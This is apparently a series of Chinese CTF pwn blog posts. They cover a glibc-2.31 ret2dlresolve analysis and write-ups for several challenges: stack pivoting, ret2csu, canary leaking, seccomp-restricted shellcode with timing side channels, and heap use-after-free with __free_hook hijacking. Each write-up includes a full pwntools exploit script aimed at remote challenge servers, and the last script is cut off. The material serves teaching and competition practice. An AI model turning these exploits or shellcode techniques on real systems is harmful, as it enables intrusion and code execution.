(输入/输出) */ l-\u0026gt;l_scope, /* 参数4: 搜索范围 (Scope) */ version, /* 参数5: 版本信息 */ elf_machine_type_class (type), /* 参数6: 类型分类 */ flags, /* 参数7: 标志位 */ NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); 进入 _dl_lookup_symbol_x\n出来后是锁操作\n收尾处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false)); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true)); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); if (sym != NULL \u0026amp;\u0026amp; __builtin_expect (ELFW(ST_TYPE) (sym-\u0026gt;st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); } if 分支： 当前 result 变量包含了定义该符号的对象的基加载地址（或者 link_map 指针），现在加上符号的偏移量 即 value = result-\u0026gt;l_addr + sym-\u0026gt;st_value\nelse 分支： 我们已经找到了符号，模块（因此也包括它的加载地址）也是已知的 即 value = l-\u0026gt;l_addr + sym-\u0026gt;st_value\n接下来处理 GNU Indirect Function (IFUNC)\n最后把 value 写入相应的 GOT 表条目中\n要求 rel_addr = (void *)(l-\u0026gt;l_addr + reloc-\u0026gt;r_offset) 可写\n_dl_runtime_resolve 部分分析 1 2 3 4 5 # Copy args pushed by PLT in register. # %rdi: link_map, %rsi: reloc_index mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP call _dl_fixup\t# Call resolver. LOCAL_STORAGE_AREA(%BASE) 为进入 _dl_runtime_resolve 时 rsp 位置上的值，将传入 rdi ，作为 link_map 指针 (LOCAL_STORAGE_AREA + 8)(%BASE) 为进入 _dl_runtime_resolve 时 rsp + 8 位置上的值，将传入 rsi ，作为 reloc_arg (uint32_t)\n64 位下利用 为了避免段错误，我们引导函数执行至以下片段\n1 2 3 4 5 6 7 else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true)); result = l; } 这要求 sym-\u0026gt;st_other 不为 0\n然后通过 value = l-\u0026gt;l_addr + sym-\u0026gt;st_value 计算出我们希望写入 got 表中的那个地址\n我们需要：\n伪造 link_map-\u0026gt;l_addr 为 libc 中已解析函数与想要执行的目标函数的偏移值，如 addr_system - addr_xxx 伪造 sym-\u0026gt;st_value 为已经解析过的某个函数的 got 表的位置，这需要布置 sym 的位置 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system 又\n1 2 3 Elf64_Sym *symtab = l-\u0026gt;l_info[DT_SYMTAB]-\u0026gt;d_un.d_ptr Elf64_Rela *reloc = l-\u0026gt;l_info[DT_JMPREL]-\u0026gt;d_un.d_ptr + reloc_arg Elf64_Sym *sym = \u0026amp;symtab[(reloc-\u0026gt;r_info) \u0026gt;\u0026gt; 32] 即\n1 sym = l-\u0026gt;l_info[DT_SYMTAB]-\u0026gt;d_un.d_ptr + (((l-\u0026gt;l_info[DT_JMPREL]-\u0026gt;d_un.d_ptr + reloc_arg)-\u0026gt;r_info) \u0026gt;\u0026gt; 32) 再放一遍\n1 2 3 4 5 6 7 8 Elf64_Sym *symtab = l-\u0026gt;l_info[DT_SYMTAB]-\u0026gt;d_un.d_ptr char *strtab = l-\u0026gt;l_info[DT_STRTAB]-\u0026gt;d_un.d_ptr Elf64_Rela *reloc = l-\u0026gt;l_info[DT_JMPREL]-\u0026gt;d_un.d_ptr + reloc_arg Elf64_Sym *sym = \u0026amp;symtab[(reloc-\u0026gt;r_info) \u0026gt;\u0026gt; 32] Elf64_Sym *refsym = sym void *rel_addr = l-\u0026gt;l_addr + reloc-\u0026gt;r_offset link_map *result uint64_t value 综上，所有需要伪造的数据为：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #stack: link_map *l -\u0026gt; fake link_map reloc_arg = 0 #rw: fake link_map structure: l_addr = addr_system - addr_xxx l_info[DT_STRTAB (5)] -\u0026gt; Null fake Elf64_Dyn structure l_info[DT_SYMTAB (6)] -\u0026gt; fake Elf64_Dyn structure to fake Elf64_Sym structure (.got) l_info[DT_JMPREL (23)] -\u0026gt; fake Elf64_Dyn structure to fake Elf64_Rela structure fake Elf64_Dyn structure -\u0026gt; fake Elf64_Sym: d_ptr -\u0026gt; fake Elf64_Sym (.got) fake Elf64_Dyn structure -\u0026gt; fake Elf64_Rela: d_ptr -\u0026gt; fake Elf64_Rela fake Elf64_Rela structure: r_offset = rwable_addr - l_addr r_info lower 4 bytes = 7 r_info higher 4 bytes = 0 根据偏移对 link_map 进行压缩布局：\n1 2 3 4 5 6 7 8 9 10 11 0x00--0x08 l_addr = addr_system - addr_xxx 0x08--0x10 d_ptr -\u0026gt; fake Elf64_Sym (.got) 0x10--0x18 d_ptr -\u0026gt; 0x18 0x18--0x20 r_offset = rwable_addr - l_addr 0x18--0x20 r_info = 0x00000007 ... 0x38--0x?? l_info 0x68--0x70 l_info[DT_STRTAB (5)] -\u0026gt; 0x00 0x70--0x78 l_info[DT_SYMTAB (6)] -\u0026gt; 0x00 ... 0xF8--0x100 l_info[DT_JMPREL (23)] -\u0026gt; 0x08 stack 布局：\n注意 _dl_runtime_resolve 有点像 srop 会还原寄存器\n1 2 3 4 0 高地址 fake_link_map_base_addr ret2plt0 寄存器操作 rop 链 低地址 ","date":"2026-02-08T01:00:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/analyse/glibc2.31-ret2dlresolve/","title":"glibc-2.31 ret2dlresolve 分析"},{"content":"题目 题目链接\nchecksec IDA bss 段为 rwx ， buff 在 bss 段上，但是注意 strcpy 会被 \\x00 截断，因此写入的 shellcode 不能有 \\x00\n白名单沙箱：仅允许 open 、 read 、 mmap 系统调用\n没有 write ，因此考虑侧信道爆破，再加一点小巧思避免 \\x00 出现即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import * context.log_level = \u0026#39;info\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 def conn(): if debug: return process(\u0026#39;./ret2shellcode_level2\u0026#39;) else: return remote(\u0026#39;node5.anna.nssctf.cn\u0026#39;, 28199) rwx_base = 0x404060 again_addr = 0x40132B def scgen(idx, char): sth = f\u0026#39;mov cl, 0x{idx:x}\u0026#39; sc = asm(f\u0026#39;\u0026#39;\u0026#39; xor rdi, rdi xor rsi, rsi xor rdx, rdx xor rax, rax add al, 0x67 shl rax, 8 add al, 0x61 shl rax, 8 add al, 0x6c shl rax, 8 add al, 0x66 shl rax, 8 add al, 0x2f push rax push rsp pop rdi xor rax, rax add al, 2 syscall xor rdi, rdi add dil, 3 push rsp pop rsi xor rdx, rdx add dl, 0x7f xor rax, rax syscall xor rcx, rcx {\u0026#39;\u0026#39; if idx == 0 else sth} mov al, [rsp + rcx] cmp al, 0x{char:x} LOOP: je LOOP \u0026#39;\u0026#39;\u0026#39;) return sc def test(idx, char): io = conn() sc = scgen(idx, char).ljust(0x100, b\u0026#39;\\x00\u0026#39;) payload = sc + p64(rwx_base + 0x400) + p64(rwx_base) io.sendline(payload) start_time = time.time() io.recvall(timeout = 2) end_time = time.time() io.close() return end_time - start_time def attack(): flag = \u0026#39;\u0026#39; idx = len(flag) while True: for char in range(32, 127): try: if test(idx, char) \u0026gt; 1.7: print(f\u0026#39;Found char at {idx}: {chr(char)} | Current Flag: {flag}\u0026#39;) flag += chr(char) if chr(char) == \u0026#39;}\u0026#39;: return flag break else: print(f\u0026#39;Test char failed at {idx}: {chr(char)} | Current Flag: {flag}\u0026#39;) except Exception as e: char -= 1 print(f\u0026#39;Error:{e}\u0026#39;) continue idx += 1 return flag print(f\u0026#34;Flag: {attack()}\u0026#34;) ","date":"2026-02-06T20:18:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/nssctf/hnctf-2022-ret2shellcode_level2/","title":"NSSCTF-HNCTF-2022-ret2shellcode_level2 题解"},{"content":"题目 题目链接\nchecksec 没有 canary 和 pie 但开了 Full RELRO ，要注意 .got 的只读属性\nIDA 存在栈溢出，溢出长度较小，考虑栈迁移\n攻击思路 栈迁移即可， leak 出 libc 基址后，利用 csu 构造 rop 链时考虑使用栈拼接的技巧\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import * from onegadget_selector import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] libcoffsetdict = {} libcrealdict = {} def libcdict_add(name, addr): if addr \u0026gt; 0x1000000: libcrealdict[name] = addr addr %= 0x1000 libcoffsetdict[name] = addr def getlibc(path): if not debug: return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict)) else: return ELF(path) def initlibc(libc): if not debug: subprocess.run([\u0026#39;cp\u0026#39;, libc.path, \u0026#39;./libc.so.6\u0026#39;]) subprocess.run([\u0026#39;pwninit\u0026#39;, \u0026#39;--no-template\u0026#39;]) debug = 1 if debug: p = process(\u0026#39;./pwn_patched\u0026#39;) else: p = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 27493) csuaddr = 0x40075C itaddr = 0x4007A8 hellorbp = 0x601108 ret2read = 0x4006D6 ret2write = 0x4006B7 fakerbp = 0x601208 def pleaker(addr): sleep(0.1) payload = (p64(addr)).ljust(240, b\u0026#39;A\u0026#39;) + p64(hellorbp) + p64(ret2write) p.send(payload) retaddr = u64(p.recv(8)) p.recvn(0x36 - 0x8, 1) return retaddr def attack(): payload = b\u0026#39;A\u0026#39; * 240 + p64(hellorbp) + p64(ret2read) p.sendafter(b\u0026#39;it!\\n\u0026#39;, payload) libcdict_add(\u0026#39;__libc_start_main\u0026#39;, pleaker(0x600FF0)) libcdict_add(\u0026#39;mprotect\u0026#39;, pleaker(0x600FE8)) libcdict_add(\u0026#39;setvbuf\u0026#39;, pleaker(0x600FE0)) libc = getlibc(\u0026#39;./libc.so.6\u0026#39;) base_addr = libcrealdict[\u0026#39;__libc_start_main\u0026#39;] - libc.symbols[\u0026#39;__libc_start_main\u0026#39;] log.info(f\u0026#39;base_addr = {hex(base_addr)}\u0026#39;) initlibc(libc) one_gadget_offset = select_onegadgets(libc.path) one_gadget_addr = base_addr + one_gadget_offset sleep(0.1) payload = (p64(itaddr)).ljust(240, b\u0026#39;A\u0026#39;) + p64(fakerbp) + p64(ret2write) p.send(payload) payload = (p64(0) + p64(0) + p64(0) + p64(0) + p64(one_gadget_addr)).ljust(240, b\u0026#39;A\u0026#39;) + p64(hellorbp) + p64(ret2write) p.sendafter(b\u0026#39;it!\\n\u0026#39;, payload) payload = (p64(itaddr)).ljust(240, b\u0026#39;A\u0026#39;) + p64(hellorbp) + p64(csuaddr) p.sendafter(b\u0026#39;it!\\n\u0026#39;, payload) p.interactive() attack() ","date":"2026-02-06T12:22:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/buuctf/newstarctf-ret2csu2/","title":"BUUCTF-NewStarCTF-ret2csu2 题解"},{"content":"题目 题目链接\nchecksec 存在 canary 保护\nIDA main 一个简单的登录系统\n观察到 [rbp-0x130] ，它来自于 password_checker 的 rax\nAdmin_password_checker snprintf 这里有一个坑， src 和 dest 相同会产生 buffer overlap 的问题，产生非预期结果，而使用 \u0026lsquo;\\x00\u0026rsquo; 可以截断这种行为\n其实经过动调可知，我们应该劫持 a1 为后门函数地址\nAdmin_password_checker_asm 上面的 a1 即此处的 rax ，为 rdi 解两层引用，接下来回到 main 去溯源 rdi\nmain_asm rdi 溯源至 rbp - 0x130 ，注意并不是 [rbp - 0x130] ， [rbp - 0x130] 溯源至 password_checker 后的 rax\npassword_checker_asm rax 溯源至 rbp - 0x18 ，注意并不是 [rbp - 0x18] ，由此 call rax 中的 rax 最终溯源 [rbp - 0x18] ，注意此处的 rbp 为 password_checker 的 rbp\nread_password backdoor 攻击思路 接下来可以直接动调，获取以下信息：\ncall rax 中 rax 的最初来源 read_password 中覆盖到 rax 最初来源所需的溢出长度 然后就可以直接 get shell 啦\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: p = process(\u0026#39;./login\u0026#39;) else: p = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 27735) def attack(): p.sendlineafter(b\u0026#39;username: \u0026#39;, b\u0026#39;admin\u0026#39;) pwd = b\u0026#39;2jctf_pa5sw0rd\\x00\u0026#39; payload = pwd.ljust(72, b\u0026#39;\\x00\u0026#39;) + p64(0x400e88) p.sendafter(b\u0026#39;password: \u0026#39;, payload) p.interactive() attack() ","date":"2026-02-01T14:22:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/buuctf/zjctf-2019-login/","title":"BUUCTF-ZJCTF-2019-Login 题解"},{"content":"ez_canary 拿到附件，发现有两个二进制文件： client 和 server ，核心在 server\nchecksec server 有 canary 保护\nIDA main 当 client 与 server 连接时 server 用 fork 创建子进程\npwnhandler pwnhandler 允许修改 rbp 和 ret\ngift gift 有栈溢出\n攻击思路 server 限制了连接次数为 4 次，之后会重启父进程，因此爆破 canary 行不通\n于是考虑利用两次连接\n第一次连接：利用栈迁移 leak 出 canary ：先操纵 rbp 到 bss 段上，然后重新调用 pwnhandler 写入 canary 并再一次获得操纵 rbp 和 ret 的机会；于是将 rbp 操纵至原 rbp + 0x19 的位置并劫持返回地址到 pwnhandler 的 write 部分上即可读取 canary\n第二次连接：进入 gift 打一遍 ret2libc 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 def conn(): if debug: return process(\u0026#39;./client\u0026#39;) else: return remote(\u0026#39;60.205.163.215\u0026#39;, 18830) __libc_start_main_offset = 0x23f90 pop_rdi_ret = 0x401893 ret = 0x401894 __libc_start_main_got = 0x403FF0 puts_plt = 0x4011C4 system_offset = 0x52290 bin_sh_str = 0x1b45bd again_addr = 0x401436 rbp_prov0 = 0x404800 rbp_prov1 = rbp_prov0 + 0x19 pwn_handler_read_addr = 0x40156E pwn_handler_write_addr = 0x40153A pwn_handler_canary_addr = 0x40148A def setreg(io, rbp, rip): io.sendlineafter(b\u0026#39;functions?\\n\u0026#39;, b\u0026#39;2\u0026#39;) payload = p64(rbp) + p64(rip) io.sendafter(b\u0026#39;canary!\u0026#39;, payload) def attack(): io = conn() setreg(io, rbp_prov0, pwn_handler_canary_addr) setreg(io, rbp_prov1, pwn_handler_write_addr) io.recvuntil(b\u0026#39;[Server]: \u0026#39;) canary = u64(io.recv(7).rjust(8, b\u0026#39;\\x00\u0026#39;)) log.info(f\u0026#39;canary = {hex(canary)}\u0026#39;) io.close() io = conn() io.sendlineafter(b\u0026#34;functions?\\n\u0026#34;, b\u0026#39;1\u0026#39;) payload = b\u0026#39;A\u0026#39; * 56 + p64(canary) + p64(rbp_prov0) + p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt) + p64(again_addr) io.sendafter(b\u0026#34;canary!\u0026#34;, payload) io.recvuntil(b\u0026#39;[Server]: \u0026#39;) libc_base = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - __libc_start_main_offset log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) sleep(0.1) system_addr = libc_base + system_offset bin_sh_addr = libc_base + bin_sh_str payload = b\u0026#39;A\u0026#39; * 56 + p64(canary) + p64(rbp_prov0) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) io.send(payload) io.interactive() attack() Old_Shellcode seccomp 禁止了 execve 系统调用，考虑 orw\nIDA 清空除 rdx 外的寄存器后让你写 shellcode\npython 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import subprocess class FlagNotFound(Exception): def __str__(self): return \u0026#34;FlagNotFound\u0026#34; class ByteCodeAlreadyUsed(Exception): def __str__(self): return \u0026#34;ByteCodeAlreadyUsed\u0026#34; class ByteCodeTypesOverLimited(Exception): def __str__(self): return \u0026#34;ByteCodeTypesOverLimited\u0026#34; def main(): blacklist = set() flag = bytes() with open(\u0026#34;/flag\u0026#34;, \u0026#34;rb\u0026#34;) as f: flag = f.readline() for i in range(1): try: user_input = bytes.fromhex(input(f\u0026#34;Enter your shellcode as hex({i}/2):\u0026#34;).strip()) for byte in user_input: if byte in blacklist: raise ByteCodeAlreadyUsed blacklist = blacklist.union(set(user_input)) if len(blacklist) \u0026gt;= 16: raise ByteCodeTypesOverLimited p = subprocess.run( [\u0026#39;./chal\u0026#39;], capture_output=True, input=user_input, timeout=2.0, ) if flag not in p.stdout: raise FlagNotFound except Exception as e: print(\u0026#34;Error:\u0026#34;, e) exit() print(\u0026#34;Well Done.\u0026#34;) print(p.stdout) main() 要求：两次使用的字节码不重复，总计不超过 15 种，且能读出 /flag\n攻击思路 想不出来怎么构造符合条件的 shellcode ，，，那就侧信道爆破吧\n当然还要考虑怎么把使用的字节码压到不超过 15 种，，，\n直接写爆破的 shellcode 是困难的，因为各类寄存器操作会使用大量的字节码，，，\n因此我们考虑利用少量寄存器操作向 mmap 出的区域手动写入爆破的 shellcode ，使用以下指令：\n1 2 3 4 5 6 7 8 mov rsp, rdx 48 89 d4 add rsp, 0x100 48 81 c4 00 01 00 00 mov rbp, rdx 48 89 d5 add rbp, 0x100 48 81 c5 00 01 00 00 mov ebx, 0 bb 00 00 00 00 add ebx, 0x100 81 c3 00 01 00 00 mov [rbp], ebx 89 5d 00 nop 90 mmap 上布局如下：\n1 2 |------------------|---------|----------------------|-----------| 读入的 shellcode nop 填充 爆破的 shellcode rsp 隔离 利用多次执行 add 操作我们可以向 mmap 出的区域写入任意数据，刚好拿来造机器码\n写入爆破的 shellcode:\n最后几个 nop 用于对齐\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 mov rax, 0x67616c662f 48 b8 2f 66 6c 61 67 00 00 00 push rax 50 push rsp 54 pop rdi 5f mov eax, 2 b8 02 00 00 00 syscall 0f 05 mov rdi, 3 48 c7 c7 03 00 00 00 push rsp 54 pop rsi 5e mov rdx, 0xff 48 c7 c2 ff 00 00 00 xor rax, rax 48 31 c0 syscall 0f 05 mov al, [rsp + 0xf] 8a 44 24 0f cmp al, 0x37 3c 37 LOOP: je LOOP 74 fe nop 90 nop 90 nop 90 由于网络不稳定，，，还要多爆破几次，，，不然会发现交上去的 flag 是错的。。。\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 from pwn import * context.log_level = \u0026#39;info\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 def conn(): if debug: return remote(\u0026#39;127.0.0.1\u0026#39;, 1337) else: return remote(\u0026#39;60.205.163.215\u0026#39;, 23989) def mov_rsp_rdx(): return \u0026#39;4889d4\u0026#39; def add_rsp_align(align): sc = \u0026#39;4881c4\u0026#39; for i in range(4): if i == align: sc += \u0026#39;01\u0026#39; else: sc += \u0026#39;00\u0026#39; return sc def add_rsp_to(num): sc = \u0026#39;\u0026#39; sit = 0 while num \u0026gt; 0: lb = num % 0x100 for i in range(lb): sc += add_rsp_align(sit) num //= 0x100 sit += 1 return sc def mov_rbp_rdx(): return \u0026#39;4889d5\u0026#39; def add_rbp_align(align): sc = \u0026#39;4881c5\u0026#39; for i in range(4): if i == align: sc += \u0026#39;01\u0026#39; else: sc += \u0026#39;00\u0026#39; return sc def add_rbp_to(num): sc = \u0026#39;\u0026#39; sit = 0 while num \u0026gt; 0: lb = num % 0x100 for i in range(lb): sc += add_rbp_align(sit) num //= 0x100 sit += 1 return sc def mov_ebx_0(): return \u0026#39;bb00000000\u0026#39; def add_ebx_align(align): sc = \u0026#39;81c3\u0026#39; for i in range(4): if i == align: sc += \u0026#39;01\u0026#39; else: sc += \u0026#39;00\u0026#39; return sc def add_ebx_to(num): sc = \u0026#39;\u0026#39; sit = 0 while num \u0026gt; 0: lb = num % 0x100 for i in range(lb): sc += add_ebx_align(sit) num //= 0x100 sit += 1 return sc def mov_lrbpl_ebx(): return \u0026#39;895d00\u0026#39; def nop(): return \u0026#39;90\u0026#39; def initsc(gap): sc = \u0026#39;\u0026#39; sc += mov_rsp_rdx() sc += add_rsp_to(0x7500) sc += mov_rbp_rdx() sc += add_rbp_to(gap) return sc def writesc(msc): msc = msc.replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;) sc = \u0026#39;\u0026#39; sc += mov_ebx_0() sc += add_ebx_to(u32(bytes.fromhex(msc))) sc += mov_lrbpl_ebx() sc += add_rbp_to(0x4) return sc def loadorj(idx, char): sc = \u0026#39;\u0026#39; sc += writesc(\u0026#39;48 b8 2f 66\u0026#39;) sc += writesc(\u0026#39;6c 61 67 00\u0026#39;) sc += writesc(\u0026#39;00 00 50 54\u0026#39;) sc += writesc(\u0026#39;5f b8 02 00\u0026#39;) sc += writesc(\u0026#39;00 00 0f 05\u0026#39;) sc += writesc(\u0026#39;48 c7 c7 03\u0026#39;) sc += writesc(\u0026#39;00 00 00 54\u0026#39;) sc += writesc(\u0026#39;5e 48 c7 c2\u0026#39;) sc += writesc(\u0026#39;ff 00 00 00\u0026#39;) sc += writesc(\u0026#39;48 31 c0 0f\u0026#39;) sc += writesc(\u0026#39;05 8a 44 24\u0026#39;) sc += writesc(f\u0026#39;{idx:02x} 3c {char:02x} 74\u0026#39;) sc += writesc(\u0026#39;fe 90 90 90\u0026#39;) return sc def fillnop(num): sc = \u0026#39;\u0026#39; for i in range(num): sc += nop() return sc def scgen(idx, char, gap): sc = \u0026#39;\u0026#39; sc += initsc(gap) + loadorj(idx, char) sc += fillnop(gap - len(sc) // 2) return sc def test(mbyte, char): io = conn() io.recvuntil(b\u0026#39;hex(0/2):\u0026#39;) sc = scgen(mbyte, char, 0x7000) print(f\u0026#39;Send: {hex(len(sc) // 2)} bytes\u0026#39;) io.sendline(sc.encode()) start_time = time.time() io.recvall(timeout = 1) end_time = time.time() io.close() return end_time - start_time def explode(): flag = \u0026#39;flag{1t_i5_Ha2d_r1gh\u0026#39; idx = len(flag) while True: for char in range(32, 127): try: if test(idx, char) \u0026gt; 0.7: print(f\u0026#39;Found char at {idx}: {chr(char)} | Current Flag: {flag}\u0026#39;) flag += chr(char) if chr(char) == \u0026#39;}\u0026#39;: return flag break else: print(f\u0026#39;Test char failed at {idx}: {chr(char)} | Current Flag: {flag}\u0026#39;) except Exception as e: char -= 1 print(f\u0026#39;Error:{e}\u0026#39;) continue idx += 1 return flag def attack(): print(f\u0026#34;Flag: {explode()}\u0026#34;) attack() ","date":"2026-01-26T22:37:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/contest/n1junior-2026-pwn-wp/","title":"N1Junior2026-pwn WriteUp"},{"content":"题目 题目链接\nchecksec 全开\nIDA main 菜单题\nmenu add 一次 add 申请两个 chunk ，记为 head_chunk 和 content_chunk\ndelete 有明显的 UAF 漏洞\nshow delete 后仍可以 show\nedit delete 后仍可以 edit\nread_idx read_size 攻击思路 由于一次 add 申请两个 chunk ，而一次 delete 只 free 掉 head_chunk 且不清空数据，而 delete 后仍可以 edit，所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权，进而利用 edit/show 实现 AAW/AAR\n同时，在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ，我们可以利用 chunk 的残留值泄露堆地址，实现对堆的完全控制\n然而由于我们并没有操作栈的机会，也没有办法劫持 got 表，因此我们考虑去劫持 __free_hook 函数，这需要泄露 libc 基址\n由于 tcache 的结构存在于堆上，而 fastbin 为单向链表，我们没有办法通过它们去泄露 libc 基址，因此考虑 unsorted_bin ，因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ，而 arena 与 libc 基址的相对偏移固定\n由于强行塞满 tcache 所需的 chunk 数量过多，不方便操作，因此我们考虑直接修改位于堆上的 counts 数组，使 tcache 看起来是满的\n为了绕开 fastbin ，我们考虑使用 size 为 0x90 的 chunk ，同时把对应 tcache 的 counts 设为 7\n但是程序只允许 free 掉 0x30 的 chunk ，所以我们需要伪造一个 fake chunk 去绕过安全检测\n我们需要伪造的有：\nchunk_size = 0x91 chunk_prev_size = 0x30 next_chunk_prev_size = 0x90 next_chunk_prev_inuse_bit = 1 next_chunk_size 合法，且保险起见，不要让它与 top_chunk 重叠 利用 AAW 伪造完成后， delete 掉 fake_chunk 即可使之进入 unsorted_bin ，再利用 AAR 即可泄露 libc 基址\n最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\\x00 ，再 delete 掉这个 head_chunk 即可提权\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: p = process(\u0026#39;./pwn\u0026#39;) else: p = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 28814) def padd(idx, size, content): p.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;idx(0~15): \u0026#39;) p.sendline(str(idx).encode()) p.recvuntil(b\u0026#39;size: \u0026#39;) p.sendline(str(size).encode()) p.recvuntil(b\u0026#39;note: \u0026#39;) p.sendline(content) def pdelete(idx): p.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.recvuntil(b\u0026#39;idx(0~15): \u0026#39;) p.sendline(str(idx).encode()) def pshow(idx): p.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;) p.sendline(b\u0026#39;3\u0026#39;) p.recvuntil(b\u0026#39;idx(0~15): \u0026#39;) p.sendline(str(idx).encode()) def pedit(idx, content): p.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;) p.sendline(b\u0026#39;4\u0026#39;) p.recvuntil(b\u0026#39;idx(0~15): \u0026#39;) p.sendline(str(idx).encode()) p.recvuntil(b\u0026#39;content: \u0026#39;) p.send(content) def pwrite(addr, val): payload = p64(0x20) + b\u0026#39;\\x00\u0026#39; * 0x10 + p64(addr) pedit(2, payload) pedit(0, val) def pread(addr): payload = p64(0x20) + b\u0026#39;\\x00\u0026#39; * 0x10 + p64(addr) pedit(2, payload) pshow(0) def attack(): padd(3, 0x20, b\u0026#39;\u0026#39;) padd(0, 0x20, b\u0026#39;\u0026#39;) padd(1, 0x20, b\u0026#39;\u0026#39;) pdelete(3) pdelete(0) pdelete(1) padd(2, 0x20, b\u0026#39;\u0026#39;) pshow(2) 